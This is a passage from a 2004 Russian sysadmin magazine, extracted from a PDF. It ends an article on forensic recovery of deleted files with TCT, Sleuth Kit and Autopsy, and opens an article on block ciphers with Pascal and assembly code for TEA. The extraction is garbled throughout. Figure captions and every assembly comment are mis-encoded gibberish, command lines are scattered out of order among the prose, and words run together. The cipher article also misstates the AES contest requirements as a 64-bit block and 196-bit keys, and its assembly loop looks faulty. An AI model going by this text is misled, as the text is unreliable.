большетребуемого, и таким образом находят спрятанный файл.

Для компиляции TCTUtils потребуется наличие установ-ленного TCT, путь к каталогу которого необходимо указатьв файле src/Makefile в переменной TCT_DIR. После этого вподкаталоге bin появятся несколько исполняемых файлов.

Разберем подробнее. В предыдущих примерах мы на-шли несколько удаленных файлов и даже успели их спас-ти. Но кроме номера inode, о файлах не известно большеничего. Пробуем при помощи утилиты istat извлечь осталь-ную «спрятанную» информацию.

Как видите, теперь, кроме номера inode, стала извест-на информация о размере файла, владельце, режимах до-ступа, МАС-временах, и главное, номера дисковых блоков,

# ls bin

Ðèñóíîê 6

# egrep -l 'keyword1|keyword2|...' blocks/*.txt > allfiles

Page 59: 017 Системный Администратор 04 2004

57№4(17), апрель 2004

безопасность

в которых записано тело файла. Чтобы заглянуть внутрьблока, используем другую утилиту bcat, которая может вы-водить информацию как сырой raw, текст ASCII (опция -а),hexdump (-h), html (-w), выводить статистику (-s), просмат-ривать свап (-f swap).

Возможен и обратный поиск, т.е. известен номер бло-ка и требуется найти номер inode, за которым данный блокзакреплен.

Для этих целей используется команда find_inode. Воз-можны три результата выполнения: блок будет в спискеinode, блока не будет в списке inode и блок является час-тью большего фрагмента.

Но искать вручную каждый удаленный файл немно-го хлопотно, поэтому для начала можно пройтись по раз-делу или созданному образу утилитой fls, выводящейимена файлов и каталогов, и в том числе недавно уда-ленных.

Из опций утилиты стоит отметить:! -a – отображает имена файлов, начинающиеся с точ-

ки, которые любят использовать взломщики;! -d – вывод только удаленных файлов (-u – только не

удаленных);! -l – вывод подробной информации о файле;! -r – рекурсивный обход всех директорий (но не может

следовать за удаленными каталогами).

Ðèñóíîê 7

# ./find_inode /dev/hda9 9364

# ./fls -rd /dev/hda9

# ./bcat -h /dev/hda9 9364 512

# ./find_inode /image/system.img 12345

Page 60: 017 Системный Администратор 04 2004

58

безопасность

Как видите, удалось определить, что за файл скрывал-ся в inode под номером 107, который теперь благополуч-но можно восстановить при помощи icat. Но если под Linuxтакой номер проходит, то в Solaris можно вообще не полу-чить никакой информации.

Удаленные файлы и каталоги помечаются знаком *.Первая буква показывает, что за файл, т.е. r-egular, d-irectory, l-ink, s-ocket или неопределен (?).

Найти имя файла или каталога по известному inodeможно при помощи утилиты find_file. В man не сказано,что означают те или иные опции, поэтому пришлось пона-чалу запустить ее со всеми сразу.

Пробуем.

Хотя программы по-прежнему нет в списке.

И последняя утилита blockcalc из комплекта TCTUtilsпредназначена для отображения соответствия между но-мером блока в образах, созданных при помощи dd и unrm.

Не знаю, что послужило причиной, но TCT и TCTUtils неразвиваются уже с 2001 года (но это не значит, что их нельзяиспользовать и я зря о них рассказывал). Вместо них BrianCarrier выпускает единый комплект утилит, названный SleuthKit (http://www.sleuthkit.org/sleuthkit), основанный на их коде,объединяющий основные функциональные возможности иработающий с файловыми системами NTFS, FAT, FFS,EXT2FS и EXT3FS. Последняя на момент написания статьиверсия 1.67 от 6 января 2004 года. Для удобства, чтобы лег-

#./find_file -adu /dev/hda9 107

# ./find_file -a /dev/hda9 107

# ls -al /data1/sort

Ðèñóíîê 8

# ./blockcalc -u 9364 /image/system.img

Page 61: 017 Системный Администратор 04 2004

59№4(17), апрель 2004

безопасность

че было ориентироваться, названия утилит изменены и на-чинаются на букву, соотвествуюшую тому уровню, на кото-ром они работают. Их несколько: File System Layer – работас файловой системой; Content Layer (буква d – data) – фак-тическое содержание блоков, кластеров, фрагментов; MetaData Layer (inode) – описывает файл или каталог, т.е. все,что можно извлечь из inode; Human Interface Layer (file) – бо-лее удобный уровень взаимодействия с файлами, чем прииспользовании метаданных. Во многих утилитах были до-бавлены новые опции, например, -m, позволяющая выводитьодновременно информацию и о MAC-временах; -z – для ука-зания временного пояса, обязательной стала опция -f, пред-назначенная для указания файловой системы. После ком-пиляции в подкаталоге bin вы найдете 18 утилит.

С назначением утилит file, icat, ils, mactime, istat, fls мыуже знакомы. Утилита ifind является новой версиейfind_inode, ffind пришел на замену find_file, dcalc – blockcalc,соответственно, dcat – bcat, dls назывался когда-то unrm,утилиты md5 и sha1 предназначены для работы с конт-рольными суммами в одноименных алгоритмах. Осталисьнезнакомыми только hfind, dstat, fsstat, mmls и sorter.

Появившаяся в Sleuth Kit v1.63 утилита mmls предназ-начена для вывода таблицы разделов. Ее применение мо-жет помочь в поиске «спрятанных» данных, т.к. показы-вает, какие сектора не используются.

т.е. команда для запуска выглядит так:

Для выдачи информации о состоянии конкретного бло-ка или сектора dstat используется утилита dstat.

Ðèñóíîê 8à

# ./mmls -t dos /image/system.img

# ./dstat

# ./mmls -?

Page 62: 017 Системный Администратор 04 2004

60

безопасность

Или для выдачи более подробной информации:

Утилита fsstat отображает подробности, связанные с фай-ловой системой.

До этого все программы предназначались в основном длясбора данных, но вот анализ целиком возлагался на плечиисследователя, и для того, чтобы найти в нескольких гига-байтах информации инструменты взломщика, ему потребу-ется много опыта, времени, потраченных на исследование.

Утилита hfind как раз и предназначена для поиска хеш-функций в предварительно созданной базе. Для сравне-ния может использоваться предварительно созданнаябаза, тогда ее работа в чем-то напоминает Tripwire. Нонаибольшая эффективность от применения будет достиг-нута при использовании National Software Reference Library(NSRL), которую можно найти на http://www.nsrl.nist.gov/.Проект поддержан Национальным Институтом Американ-ского Министерства юстиции (NIJ, http://www.ojp.usdoj.gov/nij/sciencetech/ecrime.htm), Национальным ИнститутомСтандартов и Технологии (NIST) и другими подобнымиорганизациями, и предназначен для того, чтобы эффек-тивно использовать компьютерные технологии в рассле-довании преступлений, инструментом которых являетсякомпьютер. NSRL разработана, чтобы собрать программ-ное обеспечение из различных источников и включить про-фили файлов в справочный информационный наборReference Data Set (RDS).

На декабрь 2003 года NSRL обеспечил профили и циф-ровые сигнатуры для 17 909 964 файлов. ИспользовавNSRL, возможно идентифицировать критические систем-ные файлы, которые были изменены, одним из назначе-ний этой библиотеки является поиск программ при рас-следовании преступлений, направленных против интел-лектуальной собственности. Hfind проверяет значенияхеш-функции в базе данных, используя двоичный алго-ритм поиска. Это быстрее, чем grep, но требует созданияиндексного файла (опция -i).

Применение этой утилиты очень широкое, некоторые ва-рианты даны в man, например, для контроля за наиболееважными системными файлами можно использовать ком-бинацию:

Сначала создаем базу данных, используя md5sum.

Теперь создаем из полученной базы индексный файл.

Теперь в текущем каталоге будут находиться два файла.

# ./hfind -h

# md5sum /bin/* /sbin/* /usr/bin/* /usr/bin/* ↵↵↵↵↵/usr/local/bin/* /usr/local/sbin/* > system.md5

# ./hfind -i md5sum system.md5

# ls

# ./dstat -v -f linux-ext3 /image/system.img 19496

# ./dstat -f linux-ext3 /image/system.img 9364

# ./fsstat -f linux-ext3 /data2/bin.img

Page 63: 017 Системный Администратор 04 2004

61№4(17), апрель 2004

безопасность

Проверяем, что происходит в /bin.

Как видите, с /bin/umount что-то случилось после со-здания базы данных, и его контрольная сумма не совпа-дает. И наконец, скрипт на Perl – sorter, который анализиру-ет образ при помощи fls и icat, находит файлы, в том числе искрытые, для найденного файла запускает команду file, длятого чтобы его распознать. При использовании библиотекиNSRL возможно отделение плохих файлов от хороших. Спи-сок плохих тут же попадет в файл alert.txt. Опция -s позволя-ет сохранить в указанном каталоге фактическое содержа-ние файла, но для этого необходимо указать при помощиопции -С файл конфигурации, некоторые шаблоны можнонайти в каталоге sorter/sort, этот файл позволяет задать со-ответствие между расширением и типом файла.

В каждом файле имеются поля шаблонов (конечно же,можно добавить и свои), например:

В общем же случае работа утилиты выглядит так:

Теперь в подкаталоге data появятся до тринадцатифайлов, количество которых зависит от типов данных, ифайл sorter.sum, в котором содержится суммарная инфор-мация о найденных файлах.

Например, exec.txt содержит рассортированный по ал-фавиту список исполняемых файлов, найденных в образе.

Ðèñóíîê 9

# md5sum /bin/* > bin.md5# ./hfind -f bin.md5 system.md5

#mkdir data# ./sorter -d data -f linux-ext3 /image/system.img

# ls data

Page 64: 017 Системный Администратор 04 2004

62

безопасность

Как видите, утилит предостаточно, еще больше у нихопций, что, согласитесь, может запутать новичка или че-ловека, не привыкшего к командной строке, что требуетнекоторое время на освоение и сужает круг пользовате-лей. Поэтому дополнительно к Sleuth Kit был создан инст-румент визуализации Autopsy Forensic Browser (http://www.sleuthkit.org/autopsy/index.php).

После распаковки архива и запуска команды make, входе работы которой необходимо ответить на вопросы рас-положения Sleuth Kit, необходимости закачки библиотекNSRL и пути (Evidence Locker), куда будут складыватьсяфайлы отчетов, логи и данные. Последние могут потре-бовать довольно много свободного места, поэтому ука-

Ðèñóíîê 10

# ./autopsy

жите на раздел посвободнее. После чего запускаем, оп-ционально можно указать порт.

Вставив строку с URL в браузер, попадаем в окно(см. рис. 2), заметьте, доступна помощь (рис. 3).

Первоначально требуется создать базу данных об-разов, взятых с различных компьютеров командой ddили dls (unrm), на которых будут проводиться исследо-вания. Указываем на образ, с которым будем работать.Для этого жмем на New Case и заполняем пункты, здесьнеобходимо ввести название и короткое описание, что-бы затем можно было без проблем найти нужный об-раз.

После чего заполняем пункт Adding a New Host, в ко-тором указываем имя компьютера (будет затем создан

Page 65: 017 Системный Администратор 04 2004

63№4(17), апрель 2004

безопасность

подкаталог с этим именем в Evidence Locker), его корот-кое описание, временной пояс и опционально расхожде-ние времени и путь к базам NSRL. И наконец, в Adding aNew Image (рис. 4) заполняем данные на исследуемыйобраз. Обратите внимание, что после ввода пути к обра-зу можно выбрать вариант копирования в папку EvidenceLocker, перемещение или вариант по умолчанию – со-здание симлинка. Здесь же указываем файловую систе-му и точку монтирования, с которой снимался образ, еслиизвестна MD5-сумма, то ее можно указать, по умолча-нию она будет высчитана заново, после чего будет вы-дан итог (рис. 5).

Нажав Add Image, можно добавить следующий об-раз к базе данных. Если не нужно, то теперь можно на-чинать работать с образом. Например, во вкладке ImageDetails можно сразу извлечь все строки или удаленныефайлы в отдельный файл (рис. 6). А переходя к нужно-му пункту, можно получить всю необходимую информа-цию о данных, содержащихся в тех или иных блоках(рис. 8, 8а), причем обратите внимание, доступен вы-вод информации в нескольких видах (ASCII, Hex, String),добавление комментария к интересному блоку, после-довательный просмотр блоков, экспорт блока в отдель-ный файл. Аналогично можно вывести список файлов(рис. 9), данные о состоянии дисковых inode (рис. 10,11) и другую информацию, которую можно получить припомощи утилит Sleuth Kit.

Если первоначальная возня с образами мне не очень

Ðèñóíîê 11понравилась, зато последующая работа оставила при-ятное впечатление, все-таки намного удобнее пользо-ваться Autopsy Forensic Browser, по крайней мере воз-можность выбора меня всегда радует.

Описанные выше утилиты относятся к так называе-мым forensic, т.е. применяются для поиска доказа-тельств взлома, которые затем могут быть представ-лены в суде. Поэтому одним из требований к ним явля-ется особо бережное отношение к данным и протоко-лирование всех действий. Также, чтобы затем не заму-чили адвокаты, подобные утилиты проходят тщатель-ное тестирование на предмет соответствия поставлен-ной задаче. Для нас подобные разбирательства скорееисключение, чем правило, хотя, правда, это не значит,что хакеры у нас не водятся. Водятся, и в больших ко-личествах.

И второе применение этих утилит очевидно – сохра-нение случайно или умышленно стертых данных. К со-жалению, размер статьи разросся до неконтролируемыхпределов, поэтому пришлось остановиться, но в буду-щем надеюсь вернуться к этой теме. Успехов. И чтобывам никогда не довелось использовать подобные ути-литы по назначению.

Литература1. Мешков В. Архитектура файловой системы ext2. – //

Журнал «Системный администратор». №11(12), ноябрь2003 г., – 26-32с.

Page 66: 017 Системный Администратор 04 2004

64

безопасность

БЛОЧНЫЕ ШИФРЫ

СТАНИСЛАВ ГОШКО

В данной статье приводится краткая характеристика алгоритмов симметричного и асимметричногошифрования, рассматриваются перспективные направления развития современной криптографии,а также приводится блок-схема и программная реализация симметричного алгоритма шифрования TEA.

Page 67: 017 Системный Администратор 04 2004

65№4(17), апрель 2004

безопасность

Основным методом защиты информации от угрозы нару-шения ее конфиденциальности является шифрование.Шифрование – это процесс криптографического преоб-разования информации в соответствии с определеннымалгоритмом, при этом результат преобразования зависитот используемого ключа шифрования.

Алгоритмы шифрования можно разделить на две ос-новные категории:! симметричные алгоритмы шифрования;! асимметричные алгоритмы шифрования.

Симметричные алгоритмы.Основные стандарты и проблемаиспользованияСимметричные алгоритмы шифрования получили чрезвы-чайно широкое распространение благодаря высоким пока-зателям стойкости шифрования и простоты как в аппарат-ной, так и в программной реализациях. Характерной осо-бенностью симметричных алгоритмов является то, что ис-ходное сообщение предварительно разбивается на блокификсированного размера, из-за чего эти алгоритмы получи-ли название блочных шифров. В качестве примеров сим-метричных алгоритмов шифрования можно привести оте-чественный стандарт ГОСТ 28147-89 и наиболее известныйстандарт шифрования DES (Data Encryption Standart), дол-гое время являвшийся основным стандартом шифрованияв мире. Однако стремительный рост вычислительных воз-можностей современных ЭВМ привел к тому, что взлом ал-горитма DES методом полного перебора в реальном масш-табе времени перестал быть непосильной задачей, и соот-ветственно криптографическая стойкость DES пересталаудовлетворять требованиям, предъявляемым к международ-ному стандарту. Кроме того, появились алгоритмы, превос-ходящие DES по всем параметрам. Учитывая данный факт,Национальный институт стандартизации и технологий США(NIST, National Institute of Standards and Technology) в 1997году объявил открытый конкурс на новый стандарт симмет-ричного алгоритма шифрования США. Победитель конкур-са получал статус нового стандарта шифрования AES(Advanced Encryption Standard) и автоматически становилсяde-facto общемировым стандартом шифрования.

Требования к новому стандарту шифрования были весь-ма простыми: алгоритм должен иметь размер блока 64 бити поддерживать ключи шифрования длиной 128, 196 и 256бит. В конкурсе принимали участие 15 алгоритмов, и толь-ко 5 из них прошли во второй этап. Все эти 5 алгоритмовобладали исключительной криптографической стойкостью:! MARS, разработка IBM;! RC6, разработка группы ученых под руководством Ро-

нальда Ривеста (Ronald Rivest), RSA Laboratories;! RIJNDAEL, разработка двух специалистов по криптог-

рафии из Бельгии, J.Daemen, V.Rijmen;! SERPENT, разработка R.Anderson, E.Bihman, L.Knudsen;! TWOFISH, разработка компании Counterpane Security

Systems, возглавляемой Брюсом Шнайером (BruceSchneier), на основе алгоритма BLOWFISH.

По итогам конкурса, новым стандартом блочного шиф-рования был объявлен алгоритм RIJNDAEL. С алгоритма

RIJNDAEL по условиям конкурса сняты все патентные ог-раничения, и сам алгоритм получил почетное второе име-нование: Advanced Encryption Standard – AES.

Симметричные алгоритмы шифрования характеризуют-ся тем, что используют один и тот же ключ как для шифро-вания, так и для расширования информации. Таким обра-зом, любой обладатель ключа может получить доступ к кон-фиденциальной информации. Отсюда и вытекает главнаяпроблема использования симметричных алгоритмов – ключдолжен быть доступен только тем, кому адресована инфор-мация, и никому более, поэтому ключ является секретным.Любая утечка (или даже подозрение об утечке) ключевыхданных приводит к компрометации всей сети связи и тре-бует немедленной замены ключей на всех узлах сети. Та-ким образом, использование симметричных алгоритмовшифрования требует наличия целой системы распределе-ния ключей, которая представляет собой комплекс органи-зационно-технических мер, направленных на предотвраще-ние возможности утечки и компрометации секретных клю-чей. Симметричные алгоритмы шифрования идеально под-ходят для шифрования информации «для себя», например,с целью предотвратить несанкционированный доступ к нейв отсутствие владельца. Это может быть как шифрованиевыбранных файлов, так и прозрачное шифрование целыхлогических или физических дисков.

Асимметричные алгоритмыАсимметричные алгоритмы используют сложный математи-ческий аппарат, вследствие чего являются более ресурсо-емкими и медленными по сравнению с симметричными ал-горитмами, однако они позволяют преодолеть недостаток,присущий симметричным алгоритмам, за счет использо-вания двух ключей – открытого ключа и секретного ключа.

Открытый ключ предназначен для шифрования инфор-мации. Любой желающий может получить доступ к откры-тому ключу и зашифровать при помощи этого ключа ин-формацию. Расшифровать эту информацию можно толь-ко при помощи секретного ключа, доступ к которому дол-жен иметь только владелец. Очевидно, что сохранить всекрете единственный ключ, без необходимости его пе-редачи кому-либо, намного проще, чем организовать бе-зопасную систему распределения секретных ключей, какв симметричных алгоритмах. Однако и здесь не все такхорошо, как хотелось бы – существует угроза подменыоткрытого ключа, и это приводит к тому, что вся коррес-понденция, направленная владельцу ключа, будет прохо-дить через руки злоумышленника со всеми вытекающи-ми отсюда последствиями. Для борьбы с подменой откры-тых ключей создаются центры сертификации.

Перспективы развития современнойкриптографииНаиболее перспективным направлением развития крип-тографии с открытым ключом является использование эл-липтических кривых (ECC, Elliptic Curves Cryptography).

Как сообщает Computerra (www.computerra.ru), в 2003году Агентство национальной безопасности США купилолицензию на коммерческую криптотехнологию ECC у ка-надской фирмы Certicom (http://www.certicom.com), осно-

Page 68: 017 Системный Администратор 04 2004

66

безопасность

ванной в 1985 году группой ученых-математиков для ком-мерциализации своего изобретения в области шифрова-ния с открытым ключом – криптосистемы на эллиптичес-ких кривых, или ECC (elliptic curve cryptography).

Стойкость шифрования системы ECC базируется насложности задачи дискретного логарифмирования, приэтом высокая стойкость криптосистемы достигается призначительно меньших длинах ключей, нежели в RSA. Со-гласно рекомендациям Национального института стандар-тов и технологий (НИСТ) США, эквивалентом 1024-битно-го ключа RSA, к примеру, является ECC-ключ длиной все-го 163 бита (соотношение 6:1). Причем зависимость этанелинейна, так что для 512-битного ключа ECC размераналога в системе RSA составляет уже 15360 бит (соот-ношение 30:1). Столь выдающиеся характеристики дела-ют ECC особенно привлекательной для применения в техаппаратных условиях, где предъявляются строгие ограни-чения на размер памяти и объем допустимых вычисли-тельных ресурсов (устройства типа смарт-карт).

Широкому внедрению ECC долго мешала слабая изу-ченность математического фундамента криптосистемы, нопоскольку двадцать лет серьезнейших исследований невыявили в технологии слабостей, сегодня, по мнению мно-гих криптографов, ее можно считать вполне зрелой. Оче-видным подтверждением тому стал и нынешний выборАНБ, за 25 млн. долларов купившего у Certicom неэкск-люзивную лицензию на эллиптические кривые и, есливерить сообщениям, намеренного использовать в своихшифрсредствах 512-битные ключи ECC. По условиям кон-тракта АНБ получило права на сублицензирование техно-логии своим собственным клиентам, имеющим дело снациональной безопасностью.

В разное время лицензии на ECC приобрели болеетрехсот фирм, включая Cisco Systems, Motorola, Oracle,Palm и Texas Instruments.

Еще одно перспективное направление современнойкриптографии – квантовая криптография. Это направле-ние позволяет обеспечить безопасную передачу ключе-вых данных по волоконно-оптическому кабелю. Суть зак-лючается в следующем: информация о ключе кодируетсяв одном-единственном фотоне света, который затем пе-редается получателю. Согласно законам квантовой фи-зики, невозможно измерить один параметр фотона, неисказив при этом другой. Поэтому попытка перехвата клю-ча неминуемо спровоцирует нарушения в квантовой сис-теме и приведет к искажению передаваемой информации.Таким образом, факт проникновения в систему можнодостаточно легко установить, а обменивающимся сторо-нам придется только повторить сеанс связи с другим клю-чом (www.computerra.ru).

Алгоритм TEAАлгоритм TEA (Tiny Encryption Algorithm) относится к клас-су симметричных алгоритмов. Этот алгоритм был разра-ботан в Кембриджском университете как классическая сетьФейштеля с оптимизацией под 32-разрядные микропроцес-соры. Размер блока – 64 бит, длина ключа – 128 бит.

В алгоритме использована сеть Фейштеля с двумя вет-вями в 32 бита каждая. Образующая функция F обрати-

ма. Сеть Фейштеля несимметрична из-за использованияв качестве операции наложения не исключающего «ИЛИ»,а арифметического сложения.

Сеть Фейштеля является модификацией метода сме-шивания текущей части шифруемого блока с результатомнекоторой функции. Данная функция вычисляется от дру-гой независимой части блока. Этот метод часто использу-ется, потому что обеспечивает многократное использова-нии ключа и материала исходного блока информации.

Недостатком алгоритма является некоторая медлитель-ность, вызванная необходимостью повторять цикл Фейш-теля 32 раза (это необходимо для тщательного «переме-шивания данных» из-за отсутствия табличных подстановок).

Рассмотрим примеры реализации данного алгоритмана языках Паскаль и ассемблере.

Рассмотрим листинг на языке Паскаль (tea.pas):

Ðèñóíîê 1. Ñõåìà ðàáîòû àëãîðèòìà TEA

const Delta=$9E3779B9;procedure EnCrypt(var y,z:longword; k0,k1,k2,k3:longword);var a,sum:longword;beginsum:=0;for a:=0 to 31 dobegininc(sum,Delta);inc(y,((z shl 4)+k0) xor (z+sum) xor ((z shr 5)+k1));inc(z,((y shl 4)+k2) xor (y+sum) xor ((y shr 5)+k3));end;end;procedure DeCrypt(var y,z:longword; k0,k1,k2,k3:longword);var a,sum:longword;beginsum:=Delta shl 5;for a:=0 to 31 dobegindec(z,((y shl 4)+k2) xor (y+sum) xor ((y shr 5)+k3));dec(y,((z shl 4)+k0) xor (z+sum) xor ((z shr 5)+k1));dec(sum,Delta);end;end;

Page 69: 017 Системный Администратор 04 2004

67№4(17), апрель 2004

безопасность

Рассмотрим листинг на ассемблере (tea_128.asm):

Как вы могли заметить, алгоритм довольно-таки про-стой и легко реализуем на ассемблере. Теперь на базеданного алгоритма разработаем утилиту для шифрова-ния файлов, ориентированную на ОС Windows.

Рассмотрим листинг (fencu.asm):

;--------------------------------------------------------;; BUFFER TO ENCRYPT -> EDX ;; KEY TO ENCRYPT -> EAX ;; SIZE OF BUFFER (div 4 = 0) -> ECX ;;--------------------------------------------------------;total_encrypt:

pusha ; Ñîõðàíÿåì âñ¸ â ñòåêåmov esi,eax ; Êëàäåì â esi � eaxmov edi,edx ; Êëàä¸ì â edi � edx

work__:pusha ; Ñîõðàíÿåì âñ¸ â ñòåêåcall Encrypt ; Øèôðóåì ïåðâûå 64 áèòà äàííûõpopa ; Âîññòàíàâëèâàåì èç ñòåêàadd edi,8 ; Äîáàâëÿåì ê edi � 8sub ecx,7 ; Îòíèìàåì îò ecx � 7loop work__ ; Ïðîäîëæàåì øèôðîâàòüpopa ; Âîññòàíàâëèâàåì èç ñòåêàret ; Âîçâðàò èç ïîäïðîãðàììû

;--------------------------------------------------------;; BUFFER TO DECRYPT -> EDX ;; KEY TO DECRYPT -> EAX ;; SIZE OF BUFFER (div 4 = 0) -> ECX ;;--------------------------------------------------------;total_decrypt:

pusha ; Ñîõðàíÿåì âñ¸ â ñòåêåmov esi,eax ; Êëàä¸ì â esi � eaxmov edi,edx ; Êëàä¸ì â edi � edx

work2__:pusha ; Ñîõðàíÿåì âñ¸ â ñòåêåcall decrypt ; Øèôðóåì ïåðâûå 64 áèòà äàííûõpopa ; Âîññòàíàâëèâàåì èç ñòåêàadd edi,8 ; Äîáàâëÿåì ê edi � 8sub ecx,7 ; Îòíèìàåì îò ecx � 7loop work2__ ; Ïðîäîëæàåì øèôðîâàòüpopa ; Âîññòàíàâëèâàåì èç ñòåêàret ; Âîçâðàò èç ïîäïðîãðàììû

;--------------------------------------------------------;Encrypt: push edi ; Ñîõðàíÿåì edi â ñòåêå mov ebx,v0 ; Êëàäåì â ebx ïåðâûå

; 32 áèòà äàííûõ mov ecx,v1 ; Â ecx êëàäåì âòîðûå

; 32 áèòà äàííûõ xor eax,eax ; Îáíóëÿåì eax mov edx,9e3779b9h ;  edx -> sqr(5)-1 * 231 mov edi,32 ; Êëàäåì â edi - 32ELoopR: add eax,edx ; Äîáàâëÿåì ê eax � edx mov ebp,ecx ; Êëàä¸ì â ebp � ecx shl ebp,4 ; Ñäâèã ebp íà 4 áèòà âëåâî add ebx,ebp ; Äîáàâëÿåì ê ebx � ebp mov ebp,k0 ; Êëàä¸ì â ebx ïåðâûå

; 32 áèòà êëþ÷à xor ebp,ecx ; Ñðàâíèâàåì èõ ñî âòîðûìè

; 32 áèòàìè äàííûõ add ebx,ebp ; Äîáàâëÿåì ê ïåðâûì

; 32 áèòàì äàííûõ ðåçóëüòàò mov ebp,ecx ; Êëàä¸ì â ebp � ecx shr ebp,5 ; Äåëèì ebp íà 32 xor ebp,eax ; Ñðàâíèâàåì ebp ñ eax add ebx,ebp ; Äîáàâëÿåì ê ebx � ebp add ebx,k1 ; Äîáàâëÿåì ê ebx � âòîðûå

; 32 áèòà êëþ÷à;

mov ebp,ebx ; Êëàäåì â ebp � ebx shl ebp,4 ; Ñäâèã ebp íà 4 áèòà âëåâî add ecx,ebp ; Äîáàâëÿåì ê ecx � ebp mov ebp,k2 ; Êëàäåì â ebp òðåòüè

; 32 áèòà êëþ÷à xor ebp,ebx ; Ñðàâíèâàåì ebp ñ ebx add ecx,ebp ; Äîáàâëÿåì ê ecx � ebp mov ebp,ebx ; Êëàäåì â ebp � ebx shr ebp,5 ; Ñäâèã ebp âïðàâî íà 5 áèò xor ebp,eax ; Ñðàâíèâàåì ebp ñ eax add ecx,ebp ; Äîáàâëÿåì ê ecx � ebp add ecx,k3 ; Äîáàâëÿåì ê ecx �

; ÷åòâ¸ðòûå 32 áèòà êëþ÷à dec edi ; Óìåíüøàåì edi íà åäèíèöó jnz ELoopR ; Øèôðóåì äàëüøå

pop edi ; Âûíèìàåì èç ñòåêà edi mov v0,ebx ; Êëàäåì ðåçóëüòàòû

; øèôðîâàíèÿ â îòâåä¸ííîå mov v1,ecx ; äëÿ íèõ ìåñòî ret ; Âîçâðàò èç ïîäïðîãðàììû;-------------------------------------------------------;Decrypt: push edi ; Ñîõðàíÿåì edi â ñòåêå mov ebx,v0 ; Êëàäåì â ebx ïåðâûå

; 32 áèòà äàííûõ mov ecx,v1 ; Â ecx êëàäåì âòîðûå

; 32 áèòà äàííûõ mov edx,9e3779b9h ; Â edx -> sqr(5)-1 * 231 mov eax,edx ; Êëàäåì â eax � ed shl eax,5 ; Ñäâèã eax âëåâî íà 5 áèò mov edi,32 ; Êëàäåì â edi � 32DLoopR: mov ebp,ebx ; Êëàäåì â ebp � ebx shl ebp,4 ; Ñäâèã ebp íà 4 áèòà âëåâî sub ecx,ebp ; Îòíèìàåì îò ecx � ebp mov ebp,k2 ; Êëàäåì â ebp òðåòüè

; 32 áèòà êëþ÷à xor ebp,ebx ; Ñðàâíèâàåì ebp ñ ebx sub ecx,ebp ; Îòíèìàåì îò ecx � ebp mov ebp,ebx ; Êëàäåì â ebp � ebx shr ebp,5 ; Ñäâèã ebp âïðàâî íà 5 áèò xor ebp,eax ; Ñðàâíèâàåì ebp ñ eax sub ecx,ebp ; Îòíèìàåì îò ecx � ebp sub ecx,k3 ; Îòíèìàåì îò ecx �

; ÷åòâ¸ðòûå 32 áèòà êëþ÷à;

mov ebp,ecx ; Êëàäåì â ebp � ecx shl ebp,4 ; Ñäâèã ebp íà 4 áèòà âëåâî sub ebx,ebp ; Îòíèìàåì îò ebx � ebp mov ebp,k0 ; Êëàäåì â ebx ïåðâûå

; 32 áèòà êëþ÷à xor ebp,ecx ; Ñðàâíèâàåì ebp ñ eñx sub ebx,ebp ; Îòíèìàåì îò ebx � ebp mov ebp,ecx ; Êëàä¸ì â ebp � ecx shr ebp,5 ; Ñäâèã ebp âïðàâî íà 5 áèò xor ebp,eax ; Ñðàâíèâàåì ebp ñ eax sub ebx,ebp ; Îòíèìàåì îò ebx � ebp sub ebx,k1 ; Îòíèìàåì îò ebx �

; âòîðûå 32 áèòà êëþ÷à sub eax,edx ; Îòíèìàåì îò eax � edx dec edi ; Óìåíüøàåì edi íà åäèíèöó jnz DLoopR ; Äåøèôðóåì äàëüøå pop edi ; Âûíèìàåì èç ñòåêà edi mov v0,ebx ; Êëàä¸ì ðåçóëüòàòû

; øèôðîâàíèÿ â îòâåä¸ííîå mov v1,ecx ; äëÿ íèõ ìåñòî ret ; Âîçâðàò èç ïîäïðîãðàììû;-------------------------------------------------------;v0 equ dword ptr [edi]v1 equ dword ptr [edi+4]k0 equ dword ptr [esi]k1 equ dword ptr [esi+4]k2 equ dword ptr [esi+8]k3 equ dword ptr [esi+12]

.386

.model flat, stdcallcallx macro x ;extrn x:proc ; Ìàêðîñ äëÿ óïðîùåíèÿcall x ; èñïîëüçîâàíèÿ WIN APIendm ;.datastart:;--------------------------------------------------------;

push offset usage__ ;callx printf ; Âûâîäèì ñîîáùåíèå

; îá èñïîëüçîâàíèè äàííîéadd esp,4 ; ïðîãðàììûcallx GetCommandLineA ; Ïîëó÷àåì êîìàíäíóþ ñòðîêómov esi,eax ; Ïîìåùàåì óêàçàòåëü íà

; êîìàíäíóþ ñòðîêó â esi

Page 70: 017 Системный Администратор 04 2004

68

безопасность

Итак, к чему мы пришли в итоге – мы смогли написатьутилиту, которая шифрует файлы по алгоритму TEA на ос-нове 128-битного ключа. Вскрытие таких файлов нельзяназвать невозможным, но можно назвать крайне трудоем-ким и времениемким, базируясь на текущих разработках.

Данную утилиту можно было бы оптимизировать та-ким образом, чтобы ключи хранить на дискете. При этомнеобходимо обеспечить безопасное хранение этой дис-кеты, чтобы она не попала в руки злоумышленника. Кро-ме того, если дискета потеряется или испортится, то дос-туп к зашифрованным файлам станет невозможным.Именно поэтому решать использовать внешний носительдля хранения секретного ключа или нет – дело каждогоиз нас. Что касается меня, то я больше доверяю своейпамяти.

Отдельное спасибо Владимиру Мешкову за помощь вплготовке статьи.

call t__ ; Ïîëó÷àåì óêàçàòåëü; íà ïåðâûé ïàðàìåòð

lodsw ; Çàãðóæàåì ïàðàìåòð â axcmp ax,'E-' ; Ïðîâåðÿåì � ìû áóäåì øèôðîâàòü?jne d__ ; Íåò, èäåì íà ñëåäóþùóþ ïðîâåðêómov flag,1 ; Óñòàíàâëèâàåì ôëàã â 1jmp w__ ; È ïåðåõîäèì ê øèôðîâàíèþ

d__: ;cmp ax,'D-' ; Ïðîâåðÿåì � ìû áóäåì äåøèôðîâàòü?jne ex__ ; Íåò, èäåì íà âûõîämov flag,2 ;

w__:call f_open ; Ðàáîòàåì ñ ôàéëîì

ex__:mov al,flag ; Ïîìåùàåì â al � ôëàãtest al,al ; Ïðîâåðÿåì åãîjnz ex2__ ; Åñëè âñ¸ íîðìàëüíî, òî íà âûõîäpush offset invalid1_ ;callx printf ; Âûâîäèì ñîîáùåíèå îá îøèáêåadd esp,4 ;

ex2__:push 0 ;callx ExitProcess ; Çàâåðøåíèå ïðîöåññà

;--------------------------------------------------------;t__: ;

lodsb ; Ïðîâåðÿåì âñå ñèìâîëû íà ðàâåíñòâîcmp al,20h ; ïðîáåëó. Åñëè íàøëè ïðîáåë, òîjne t__ ; òåïåðü esi óêàçûâàåò íà argv[1]ret

;--------------------------------------------------------;f_open:

